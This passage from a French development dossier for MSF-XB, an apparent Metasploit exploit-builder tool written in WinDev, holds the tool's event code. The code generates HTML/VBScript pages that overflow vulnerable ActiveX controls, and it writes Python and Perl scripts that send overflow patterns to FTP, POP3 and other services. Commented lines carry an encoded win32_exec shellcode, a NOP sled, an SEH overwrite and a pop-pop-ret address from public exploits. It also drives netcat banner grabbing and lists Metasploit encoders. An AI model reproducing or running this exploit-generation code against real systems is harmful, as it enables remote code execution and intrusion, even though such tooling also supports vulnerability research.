Page 639: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 644

" "+SAI_PID+" TEMP\"+sai_pid) //+" "+Caract(34)+CheminDuDump+Caract(34))MyDos:ExecuteCommand()Sablier(Faux)Info("Dumpé dans "+SAI_PID)

// SAI_OPCODE_LIST_PARAMETRES= " -d "+CheminDuDump

SINONErreur("Vous devez spécifier le PID")RepriseSaisie(SAI_PID)

FIN

Clic sur BTN_OUVRE_EXPLORERSI SAI_PROCESSUS<>"" ALORS

DDELance("explorer.exe "+fExtraitChemin(SAI_PROCESSUS,fRépertoire), DDEActif, Faux, fExtraitChemin(SAI_PROCESSUS,fRépertoire))FIN

Clic sur BTN_PLUS_PATTERNSCFindReplaceTXT.SAI_PATTERN+=Répète(SAI_PATTERN_CAR,SAI_PATTERN_TAILLE)//LIB_Taille_Pattern="Taille: "+SCFindReplaceTXT.SAI_PATTERN_TAILLEExécuteTraitement(SCFindReplaceTXT.SAI_PATTERN, trtModification)

Clic sur BTN_RECHERCHE_PIDSI SAI_PROCESSUS<>"" ALORS

fctListeInfosProcessus()

SAI_PID= TROUVE_PID_PROCESSUS(fExtraitChemin(SAI_PROCESSUS,fFichier+fExtension))sai_pid..Visible=Vrai

FIN

Clic sur BTN_TESTMessage()

SI RHOST="" ALORS RepriseSaisie(RHOST)SI RPORT=0 ALORS RepriseSaisie(RPORT)//si COMBO_COMMANDE..ValeurAffichée="" alors// si nation=3 alors// erreur("Please choose a command.")// sinon// erreur("Veuillez choisir une commande.")

Page 640: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 645

// fin// RepriseSaisie(COMBO_COMMANDE)//FIN

SI SAI_PROCESSUS<>"" ALORS//Pour un ActiveX (.OCX ou .DLL): on ne propose pas de lancer le processusSI Upper(fExtraitChemin(SAI_PROCESSUS,fExtension))<>".OCX" ET Upper(fExtraitChemin(SAI_PROCESSUS,fExtension))<>".DLL" ALORS

SI PAS TROUVE_PID_PROCESSUS(fExtraitChemin(SAI_PROCESSUS,fFichier+fExtension)) ALORSSI OuiNon("Le processus semble mort! ;-) Le relancer?") ALORS

Exécute("BTN_EXECUTE_PROCESS..clic") //NB: On exécutera TROUVE_PIDFIN

FINFIN

FIN

//Lancement du debugger?SI FenEtat(FEN_MAIN_WDDEBUG) = Inexistant ALORS

SI TROUVE_PID_PROCESSUS(fExtraitChemin(sCheminDebugger,fFichier+fExtension))=0 ALORS //Débogueur non lancéfctLanceDebugger(SAI_PID)

FINFIN

sFichierTest is stringsMaChaineEnvoyée is string= SAI_PRE_PATTERN+SCFindReplaceTXT.SAI_PATTERNNuFic is int

SI Upper(COMBO_PROTOCOLE..ValeurAffichée)="BROWSER" ALORS //On doit générer une page web//Exploitation d'un ActiveX (*.ocx)// http://www.milw0rm.com/exploits/3872// http://www.milw0rm.com/exploits/3877// http://www.milw0rm.com/exploits/3844

SI COMBO_COMMANDE..ValeurAffichée="" ALORSSI PAS OuiNon("Pas de commande spécifiée, continuer?") ALORS

RepriseSaisie(COMBO_COMMANDE)FIN

FIN

sNomFichier is string=ComplèteRep(fRepEnCours) +"TEMP\test"+".html"fSupprime(sNomFichier)NuFic=fOuvre(snomfichier, foCréationSiInexistant+foEcriture)SI nufic=-1 ALORS

Erreur(ErreurInfo(errMessage))SINON

fEcritLigne(NuFic, "<html>")fEcritLigne(NuFic, "<title>")

Page 641: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 646

fEcritLigne(NuFic, "MSF eXploit Builder - Test exploit")fEcritLigne(NuFic, "</title>")

fEcritLigne(NuFic, "<body>")SI Upper(fExtraitChemin(SAI_PROCESSUS,fExtension))=".OCX" OU Upper(fExtraitChemin(SAI_PROCESSUS,fExtension))=".DLL" ALORS

bPatternEncodee is booleanSI ChaîneOccurrence(SCFindReplaceTXT.SAI_PATTERN, "%")=0 ALORS

SI PAS OuiNon("La pattern ne semble pas encodée en JavaScript, continuer?") ALORSfFerme(NuFic)fSupprime(sNomFichier)RepriseSaisie(COMBO_Convertion)

FINSINON

bPatternEncodee=1FIN

fEcritLigne(NuFic, "<OBJECT id="+Caract(34)+"target"+Caract(34)+" WIDTH=640 HEIGHT=480 classid="+Caract(34)+"clsid:"+SAI_CLSID+Caract(34)+" > </OBJECT>") //!!! Ne pas supprimer les espaces

fEcritLigne(NuFic, "<script language="+Caract(34)+"vbscript"+Caract(34)+">")

fEcritLigne(NuFic, "targetFile = "+Caract(34)+ SAI_PROCESSUS +Caract(34))

//Exemple: http://www.milw0rm.com/exploits/3872// fEcritLigne(NuFic, "prototype = "+caract(34)+"Sub SaveBarCode ( ByVal FileName As String )"+Caract(34))// fEcritLigne(NuFic, "memberName = "+caract(34)+"SaveBarCode"+Caract(34))

fEcritLigne(NuFic, "prototype = "+Caract(34)+"Sub "+COMBO_COMMANDE..ValeurAffichée+" ( ByVal FileName As String )"+Caract(34))fEcritLigne(NuFic, "memberName = "+Caract(34)+COMBO_COMMANDE..ValeurAffichée+Caract(34))

// fEcritLigne(NuFic, "progid = "+caract(34)+"TALBarCode.TALBarCd"+caract(34))SI SAI_ProgID<>"" ALORS

fEcritLigne(NuFic, "progid = "+Caract(34)+SAI_ProgID+Caract(34))FINfEcritLigne(NuFic, "argCount = 1")

// <!-- win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com -->//shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")//shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")//shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47")//shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38")//

Page 642: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 647

shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e")//shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54")//shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33")//shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a")//shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43")//shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49")// shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a")

// nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90")

// pointer_to_seh=unescape("%eb%06%90%90")

// <!-- 0x750211a9 -- pop pop ret from ws2help.dll from windows2000 SP4 -->// seh_handler=unescape("%a9%11%02%75")

// arg1=String(2488,"A")

// arg1=arg1+pointer_to_seh+seh_handler+nop+shellcode+nop

SI bPatternEncodee ALORSnCompteur is int=1

SI SAI_PRE_PATTERN<>"" ALORS//fEcritLigne(NuFic, "<--! prepend -->") //!!! Les commentaires posent des problèmes...fEcritLigne(NuFic, "arg1=unescape("+Caract(34) +SAI_PRE_PATTERN+ Caract(34)+")")

SINON//On écrit la 1ère ligne comme ça:fEcritLigne(NuFic, "arg1=unescape("+Caract(34) + Milieu(SCFindReplaceTXT.SAI_PATTERN, nCompteur, 96) +Caract(34)+")")nCompteur+=96

FIN//fEcritLigne(NuFic, "<--! pattern -->") //!!! Les commentaires posent des problèmes...//On "découpe" la pattern pour un meilleur affichage sous éditeur

TANTQUE Milieu(SCFindReplaceTXT.SAI_PATTERN, nCompteur, 96)<>"" //96/3=32fEcritLigne(NuFic, "arg1=arg1+unescape("+Caract(34) + Milieu(SCFindReplaceTXT.SAI_PATTERN, nCompteur, 96) +Caract(34)+")")nCompteur+=96

FINSINON

fEcritLigne(NuFic, "arg1="+Caract(34) +SAI_PRE_PATTERN+SCFindReplaceTXT.SAI_PATTERN +Caract(34))

Page 643: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 648

FIN

// fEcritLigne(NuFic, "target.SaveBarCode arg1")fEcritLigne(NuFic, "target."+COMBO_COMMANDE..ValeurAffichée+" arg1")

fEcritLigne(NuFic, "</script>")FIN

fEcritLigne(NuFic, "</body>")fEcritLigne(NuFic, "</html>")

fFerme(NuFic)

SI EnModeTest() ALORS

FIN

sCheminIE is string= ComplèteRep(SysRep(srProgramFiles)) +"Internet Explorer\IEXPLORE.EXE"SI fTaille(sCheminIE)>0 ALORS

LanceAppli(Caract(34)+sCheminIE+Caract(34) +" "+ Caract(34)+sNomFichier+Caract(34), exeActif, exeNonBloquant+exePID)//On lance le fichier HTML généré dans IE

SINONLanceAppliAssociée(sNomFichier) //On lance le fichier HTML généré dans l'explorateur par défaut

FIN//On lance le débogueur après IEfctLanceDebugger(1)

FIN

//***************************************************************************************************************************************

SINON //REMOTE EXPLOIT

//1 : Socket//2 : Python//3 : PerlSELON Dialogue("Envoyer la pattern via:")

CAS 1 //SOCKETfctEnvoiPatternSocket(sMaChaineEnvoyée)

CAS 2 //PYTHON//Création d'un code PYTHON pour tester la commande (Référence: Globalscape FTP 3)sFichierTest=fRepEnCours()+"\TEMP\test.py"fSupprime(sFichierTest)NuFic=fOuvre(sFichierTest ,foCréationSiInexistant+foEcriture)fEcritLigne(NuFic, "#!/usr/bin/python")fEcritLigne(NuFic, "#Code de test généré par MSF-XB - https://www.securinfos.info - Jérôme Athias")fEcritLigne(NuFic, "#"+DateSys()+RC)

Page 644: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 649

fEcritLigne(NuFic, "import socket")fEcritLigne(NuFic, "import struct")fEcritLigne(NuFic, "import time"+RC)

fEcritLigne(NuFic, "exploit="+Caract(34)+Remplace(sMaChaineEnvoyée,RC,"")+Caract(34)+RC)

fEcritLigne(NuFic, "try:")fEcritLigne(NuFic, TAB+"s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)")fEcritLigne(NuFic, TAB+"connect=s.connect(('"+rhost+"',"+rport+"))")

//DEBUGfEcritLigne(NuFic, TAB+"#Affiche la réponse du serveur")fEcritLigne(NuFic, TAB+"# d=s.recv(1024)")fEcritLigne(NuFic, TAB+"# print "+Caract(34)+"[+] "+Caract(34)+" +d")

fEcritLigne(NuFic, TAB+"time.sleep(1)")SI COMBO_COMMANDE..ValeurAffichée="USER" ALORS

fEcritLigne(NuFic, TAB+"s.send('USER '+exploit+'\r\n')")//DEBUGfEcritLigne(NuFic, TAB+"#Affiche la réponse du serveur")fEcritLigne(NuFic, TAB+"# d=s.recv(1024)")fEcritLigne(NuFic, TAB+"# print "+Caract(34)+"[+] "+Caract(34)+" +d")fEcritLigne(NuFic, TAB+"time.sleep(1)")

SINONSI RUSER<>"" ALORS

fEcritLigne(NuFic, TAB+"s.send('USER "+ruser+"\r\n')")//DEBUGfEcritLigne(NuFic, TAB+"#Affiche la réponse du serveur")fEcritLigne(NuFic, TAB+"# d=s.recv(1024)")fEcritLigne(NuFic, TAB+"# print "+Caract(34)+"[+] "+Caract(34)+" +d")fEcritLigne(NuFic, TAB+"time.sleep(1)")

FINFIN

SI COMBO_COMMANDE..ValeurAffichée="PASS" ALORSfEcritLigne(NuFic, TAB+"s.send('PASS '+exploit+'\r\n')")//DEBUGfEcritLigne(NuFic, TAB+"#Affiche la réponse du serveur")fEcritLigne(NuFic, TAB+"# d=s.recv(1024)")fEcritLigne(NuFic, TAB+"# print "+Caract(34)+"[+] "+Caract(34)+" +d")fEcritLigne(NuFic, TAB+"time.sleep(1)")

SINONSI RPASS<>"" ALORS

fEcritLigne(NuFic, TAB+"s.send('PASS "+rpass+"\r\n')")//DEBUGfEcritLigne(NuFic, TAB+"#Affiche la réponse du serveur")

Page 645: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 650

fEcritLigne(NuFic, TAB+"# d=s.recv(1024)")fEcritLigne(NuFic, TAB+"# print "+Caract(34)+"[+] "+Caract(34)+" +d")fEcritLigne(NuFic, TAB+"time.sleep(1)")

FINFIN

SI COMBO_COMMANDE..ValeurAffichée="" ALORSfEcritLigne(NuFic, TAB+"s.send(exploit+'\r\n')")//DEBUGfEcritLigne(NuFic, TAB+"#Affiche la réponse du serveur")fEcritLigne(NuFic, TAB+"# d=s.recv(1024)")fEcritLigne(NuFic, TAB+"# print "+Caract(34)+"[+] "+Caract(34)+" +d")fEcritLigne(NuFic, TAB+"time.sleep(1)")

SINONSI COMBO_COMMANDE..ValeurAffichée<>"USER" ET COMBO_COMMANDE..ValeurAffichée<>"PASS" ALORS

fEcritLigne(NuFic, TAB+"s.send('"+COMBO_COMMANDE..ValeurAffichée+" ' +exploit+'\r\n')")//DEBUGfEcritLigne(NuFic, TAB+"#Affiche la réponse du serveur")fEcritLigne(NuFic, TAB+"# d=s.recv(1024)")fEcritLigne(NuFic, TAB+"# print "+Caract(34)+"[+] "+Caract(34)+" +d")fEcritLigne(NuFic, TAB+"time.sleep(1)")

FINFIN

fEcritLigne(NuFic, "except:")fEcritLigne(NuFic, TAB+"print "+Caract(34)+"NON CONNECTE"+Caract(34))

fFerme(NuFic)

//Exécution du code de test PYTHONMessage("Script Python généré dans "+sFichierTest)MyDos:CommandLine_Let("python "+Caract(34)+sFichierTest+Caract(34))SI PAS fSauveTexte(FichierTempo,MyDos:ExecuteCommand()) ALORS Erreur(ErreurInfo())

//*****************************************************************************************************************************************

CAS 3 //PERL//Création d'un code PERL pour tester la commandesFichierTest=fRepEnCours()+"\TEMP\test.pl"fSupprime(sFichierTest)NuFic=fOuvre(sFichierTest ,foCréationSiInexistant+foEcriture)fEcritLigne(nufic, "#!usr/bin/perl -w")fEcritLigne(NuFic, "#Code de test généré par MSF-XB - https://www.securinfos.info - Jérôme Athias")fEcritLigne(NuFic, "#"+DateSys())

Page 646: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 651

fEcritLigne(NuFic, "use strict;")SELON COMBO_PROTOCOLE..ValeurAffichée

CAS "imap", "smtp"fEcritLigne(NuFic, "use Mail::POP3Client;"+TAB+"#utilisez ppm pour installer Mail-POP3Client")

//cas "ftp" //PYTHON

AUTRE CAS //Utilisation d'une socket génériquefEcritLigne(NuFic, "use IO::Socket;")

FIN

//On écrit la pattern (chaîne de caractères qui ne se répètent pas)fEcritLigne(NuFic, "my $exploit="+Caract(34)+sMaChaineEnvoyée+Caract(34)+";")

//On écrit la séquence de connexion/authentification + la commande à testerSELON COMBO_PROTOCOLE..ValeurAffichée

CAS "imap", "smtp"//(Référence: SLMAIL 5.5)fEcritLigne(NuFic, "my $popclient = new Mail::POP3Client( HOST => "+Caract(34)+RHOST+Caract(34)+" );")SI COMBO_COMMANDE..ValeurAffichée="USER" ALORS

fEcritLigne(NuFic, "$popclient->User( $exploit );")SINON

fEcritLigne(NuFic, "$popclient->User( "+RUSER+" );")FINSI COMBO_COMMANDE..ValeurAffichée="PASS" ALORS

fEcritLigne(NuFic, "$popclient->Pass( $exploit );")SINON

fEcritLigne(NuFic, "$popclient->Pass( "+RPASS+" );")FINSI COMBO_COMMANDE..ValeurAffichée<>"USER" ET COMBO_COMMANDE..ValeurAffichée<>"PASS" ALORS

FINfEcritLigne(NuFic, "$popclient->Connect() >=0 || die $popclient->Message();")fEcritLigne(NuFic, "$popclient->Close();")

AUTRE CAS //Utilisation d'une socket générique (Référence: CCproxy 6.2)

fEcritLigne(NuFic, "my $connection = IO::Socket::INET->new( Proto=>"+Caract(34)+"tcp"+Caract(34)+", PeerAddr=>"+Caract(34)+rhost+Caract(34)+", PeerPort=>"+Caract(34)+rport+Caract(34)+") or die "+Caract(34)+"\nNON CONNECTE\n"+Caract(34)+";")fEcritLigne(NuFic, "$connection->autoflush(1);")fEcritLigne(NuFic, "#Affiche la réponse du serveur")fEcritLigne(NuFic, "my $data=<$connection>;")fEcritLigne(NuFic, "print $data;")fEcritLigne(NuFic, "#Send the command")fEcritLigne(NuFic, "print $connection "+Caract(34)+COMBO_COMMANDE..ValeurAffichée+" $exploit\r\n"+Caract(34)+";")fEcritLigne(NuFic, "close($connection);")

Page 647: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 652

FIN

fFerme(NuFic)

//Exécution du code de test PERLMessage("Script Perl généré dans "+sFichierTest)MyDos:CommandLine_Let("perl "+Caract(34)+sFichierTest+Caract(34))SI PAS fSauveTexte(FichierTempo,MyDos:ExecuteCommand()) ALORS Erreur(ErreurInfo())

FIN //Dialogue Python/Perl

FIN //SI BROWSER

//Active les champs pour le calcul de l'espace disponible pour le shellcode (utilise patternOffset)GR_SPACE..Visible=Vrai//message()

SI SAI_PROCESSUS<>"" ET SAI_PID<>"0" ALORSSI PAS TROUVE_PID_PROCESSUS(fExtraitChemin(SAI_PROCESSUS,fFichier+fExtension)) ALORS

SI OuiNon("Le processus semble mort! ;-) Le relancer?") ALORSExécute("BTN_EXECUTE_PROCESS..clic") //NB: On exécutera TROUVE_PID

FINFIN

FIN

SAI_BadcharsDump..Visible=Vrai

Clic sur BTN_TROUVE_BANNIERE//MyDos:CommandLine_Let("nc -o nc_test.log "+RHOST+" "+RPORT+" >nc_test.txt")//SI PAS fSauveTexte(FichierTempo,MyDos:ExecuteCommand()) ALORS Erreur(ErreurInfo())////SAI_BANNIERE=ExtraitChaîne(fChargeTexte("nc_test.TXT"),1,RC)//SAI_BANNIERE_HEX=fChargeTexte("nc_test.LOG")////RETOURSAI_BANNIERE=""SAI_BANNIERE_NMAP=""fSupprime("nc_test.TXT")fSupprime("nc_test.LOG")

SI rhost="" ALORS RepriseSaisie(RHOST)SI RPORT=0 ALORS RepriseSaisie(RPORT)

Page 648: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 653

fctBanniereNmap()

//Création d'un .BAT pour netcat// NomFicNCtemp is string="NC_TEST.BAT"

// si pas fSupprime(NomFicNCtemp,frLectureSeule) et enmodetest() alors erreur("Pas pu supprimer "+NomFicNCtemp)// NuFic is int=fouvre(NomFicNCtemp,foCréationSiInexistant+foEcriture)// si NuFic<>-1 alors// fEcritLigne(nufic, "nc -o nc_test.log "+RHOST+" "+RPORT+">nc_test.txt")// fEcritLigne(NuFic, "exit")// // fEcritLigne(NuFic, "PAUSE")// fferme(NuFic)

//Lance le .BAT//Méthode 1// DDELance(NomFicNCtemp,DDEIconise)

//Méthode 2lpCmdLine is string =""nCmdShow est un entier système=0SI EnModeTest() ALORS nCmdShow=1nRetour is system int//lpCmdLine="CMD.EXE /C "+Caract(34)+"MonProgDos.exe MonFichier.xxx >Resultat.txt"+Caract(34)//lpCmdLine="CMD.EXE /C "+Caract(34)+NomFicNCtemp+Caract(34)//Si on a nc.exe dans le répertoire "tools" du MSF3:SI Taille(gsCheminMSF3+"tools\nc.exe")>0 ALORS

//C:\Program Files\Metasploit\Framework3\tools\nc.exelpCmdLine=Caract(34)+gsCheminMSF3+"tools\nc.exe"+Caract(34)+" -o nc_test.LOG "+RHOST+" "+RPORT+" >nc_test.TXT"

SINONlpCmdLine="nc -o nc_test.LOG "+RHOST+" "+RPORT+" >nc_test.TXT"

FIN

// si enmodetest() alors VersPressePapier(lpCmdLine)nRetour=API("kernel32","WinExec" , &lpCmdLine, nCmdShow)

// MyDos:CommandLine_Let(lpCmdLine)// MyDos:ExecuteCommand()

// sinon// erreur(ErreurInfo())// retour// FIN// fSupprime("nc_test.TXT")

Multitâche(100)ExeTermine("nc.exe")

Page 649: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 654

//On récup les infos netcatSAI_BANNIERE=ExtraitChaîne(fChargeTexte("nc_test.TXT"),1,RC)SAI_BANNIERE_HEX=fChargeTexte("nc_test.LOG")

SI SAI_BANNIERE="" ALORS //Problème avec netcat / fichier nc_test.TXT non créé...SI Upper(COMBO_PROTOCOLE..ValeurAffichée) = "HTTP" ALORS

HTTPTimeOut(5000) //5sSI PAS HTTPRequête("http://" + rhost +":"+ rport, "MSF-XB", "", "", "", RUSER, RPASS) ALORS

Erreur(ErreurInfo())SINON

SAI_BANNIERE=HTTPDonneRésultat(HTTPRésultat)SI SAI_BANNIERE_HEX="" ALORS

SAI_BANNIERE_HEX=HTTPDonneRésultat(HTTPEntête)FIN

FIN

SINON//On récupère la bannière par socketSI PAS SocketConnecte("MaSocket",rport,RHOST) ALORS

SI EnModeTest() ALORS Erreur("erreur de connexion par socket" + ErreurInfo(errMessage))SINON

Socket.Option = SocketOptimiseConnexionIPSocketChangeModeTransmission("MaSocket", SocketMarqueurFinBuffer,RC)SAI_BANNIERE=SocketLit("MaSocket",Faux,2000,128)SocketFerme("MaSocket")

FINFIN

FIN

SI Gauche(SAI_BANNIERE,3)="220" ALORS SAI_BANNIERE=NoSpace( Droite(SAI_BANNIERE,Taille(SAI_BANNIERE)-4) )

SI PAS EnModeTest() ALORSfSupprime("nc_test.TXT")fSupprime("nc_test.LOG")

FIN

GR_BANNIERE..Visible=Vrai

Clic sur BTN_TROUVE_COMMANDES//A FAIRE A REVOIRSI RHOST="" ALORS RepriseSaisie(RHOST)SI RPORT=0 ALORS RepriseSaisie(RPORT)

Page 650: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 655

SI PAS SocketConnecte("MaSocket",RPORT,RHOST) ALORSSI EnModeTest() ALORS Erreur("erreur de connexion " + ErreurInfo(errMessage))

SINONSocket.Option = SocketOptimiseConnexionIPSocketChangeModeTransmission("MaSocket", SocketSansMarqueurFin)SocketLit("MaSocket",Faux,2000,128)SocketEcrit("MaSocket","HELP"+RC)Info(SocketLit("MaSocket",Faux,2000))SocketFerme("MaSocket")

FIN

RETOUR

//Création d'un .BAT pour netcatNomFicNCtemp is string="NC_TEST.BAT"

fSupprime(NomFicNCtemp,frLectureSeule)NuFic is int=fOuvre(NomFicNCtemp,foCréationSiInexistant+foEcriture)SI NuFic<>-1 ALORS

fEcritLigne(NuFic, "nc -o nc_test.log "+RHOST+" "+RPORT+" <nc_test.cmd >nc_test.txt")fEcritLigne(NuFic, RUSER)fEcritLigne(NuFic, RPASS)fEcritLigne(NuFic, "HELP")fEcritLigne(NuFic, "PAUSE")fFerme(NuFic)

SAI_BANNIERE=fChargeTexte("nc_test.TXT")SAI_BANNIERE_HEX=fChargeTexte("nc_test.LOG")

//Lance le .BATDDELance(NomFicNCtemp,DDEMaximise)

SINONErreur(ErreurInfo())

FIN

Clic sur BTN_UNLOAD_DLLSI gnInstanceDLL<>0 ALORS

DéchargeDLL(gnInstanceDLL)

fctListeDLLsMemoire()SINON

//la DLL n'était pas chargée en mémoire

Page 651: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 656

Erreur("DLL non chargée")FIN

Clic sur BTN_VoirShellcode//On utilise le générateur de shellcode du Metasploit en ligne// LanceAppliAssociée("http://metasploit.com:55555/PAYLOADS?FILTER=win32")

SI TROUVE_PID_PROCESSUS("ruby.exe")=0 ALORSMessage("Lancement de MSFWEB...")

fctLanceMSFweb()SINON

//Test sur l'URL//http://127.0.0.1:55555SI HTTPRequête("http://127.0.0.1:55555") ALORS

SI ChaîneOccurrence(HTTPDonneRésultat(HTTPRésultat), "Metasploit") >0 ALORS

SINONfctLanceMSFweb()

FINSINON

fctLanceMSFweb()FIN

FIN

//LanceAppliAssociée("http://127.0.0.1:55555/payloads/list")LanceAppliAssociée("http://127.0.0.1:55555")

Sélection d'une ligne de COMBO_ConvertionSI MoiMême..ValeurAffichée="string2utf8" OU MoiMême..ValeurAffichée="ansi2unicode" OU MoiMême..ValeurAffichée="unicode2ansi" ALORS

COMBO_ALPHABET..Visible=VraiSINON

COMBO_ALPHABET..Visible=FauxFIN

Initialisation de COMBO_Encoder//Initialisation manuelle: A REVOIR//A FAIRE

Page 652: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 657

ListeAjoute(MoiMême, "")ListeAjoute(MoiMême, "x86/alpha_mixed")ListeAjoute(MoiMême, "x86/alpha_upper")ListeAjoute(MoiMême, "x86/avoid_utf8_tolower")ListeAjoute(MoiMême, "x86/call4_dword_xor")ListeAjoute(MoiMême, "x86/countdown")ListeAjoute(MoiMême, "x86/fnstenv_mov")ListeAjoute(MoiMême, "x86/jmp_call_additive")ListeAjoute(MoiMême, "x86/nonalpha")ListeAjoute(MoiMême, "x86/nonupper")ListeAjoute(MoiMême, "x86/shikata_ga_nai")ListeAjoute(MoiMême, "x86/unicode_mixed")ListeAjoute(MoiMême, "x86/unicode_upper")

Sélection d'une ligne de COMBO_PROTOCOLEListeSupprimeTout(COMBO_FUZZER)ListeAjoute(COMBO_FUZZER, "TAOF\taof.exe")ListeAjoute(COMBO_FUZZER, "JAFuzz.exe")

SELON MoiMême..ValeurAffichéeCAS "http"

RPORT=80COMBO_COMMANDE..Visible=Vrai

//Combo fuzzers:COMBO_FUZZER=1

CAS "ftp"RPORT=21COMBO_COMMANDE..Visible=Vrai

//Combo fuzzers:ListeAjoute(COMBO_FUZZER, "FTPfuzz\ftpfuzz.exe")COMBO_FUZZER=2

AUTRE CAS//Combo fuzzers:COMBO_FUZZER=1

FIN

//On remplit la combo commandesListeSupprimeTout(COMBO_COMMANDE)

Page 653: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 658

ListeAjoute(COMBO_COMMANDE,"")

HLitPremier(COMMANDS,COMMAND)TANTQUE PAS HEnDehors(COMMANDS)

SI COMMANDS.PROTOCOLE=Upper(MoiMême..ValeurAffichée) ALORSListeAjoute(COMBO_COMMANDE,COMMANDS.COMMAND)

FINHLitSuivant(COMMANDS)

FIN

Initialisation de COMBO_TARGETSI MoiMême..ValeurAffichée="" ALORS

MoiMême=8 //"windows"SCSystème..Visible=Vrai

FIN

Sélection d'une ligne de COMBO_TARGET

SI MoiMême..ValeurAffichée="windows" ALORSSCSystème..Visible=Vrai

SINONSCSystème..Visible=Faux

FIN

Initialisation de COMBO_Transformation//On ajoute les encoders du MSF à la combo// fListeFichier(gsCheminMSF3+"framework\modules\encoders\*.rb", Init_Combo_Transformation)

Sélection d'une ligne de COMBO_TransformationSAI_Options..Libellé="Options"SELON MoiMême..ValeurAffichée

CAS "hex2asm"SAI_Options..Visible=Faux

CAS "xor"SAI_Options..Visible=VraiSAI_Options..Libellé=""

AUTRE CAS

Page 654: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 659

FIN

//Arguments de msfencode:// C:\Program Files\Metasploit\Framework3\framework\msfencode
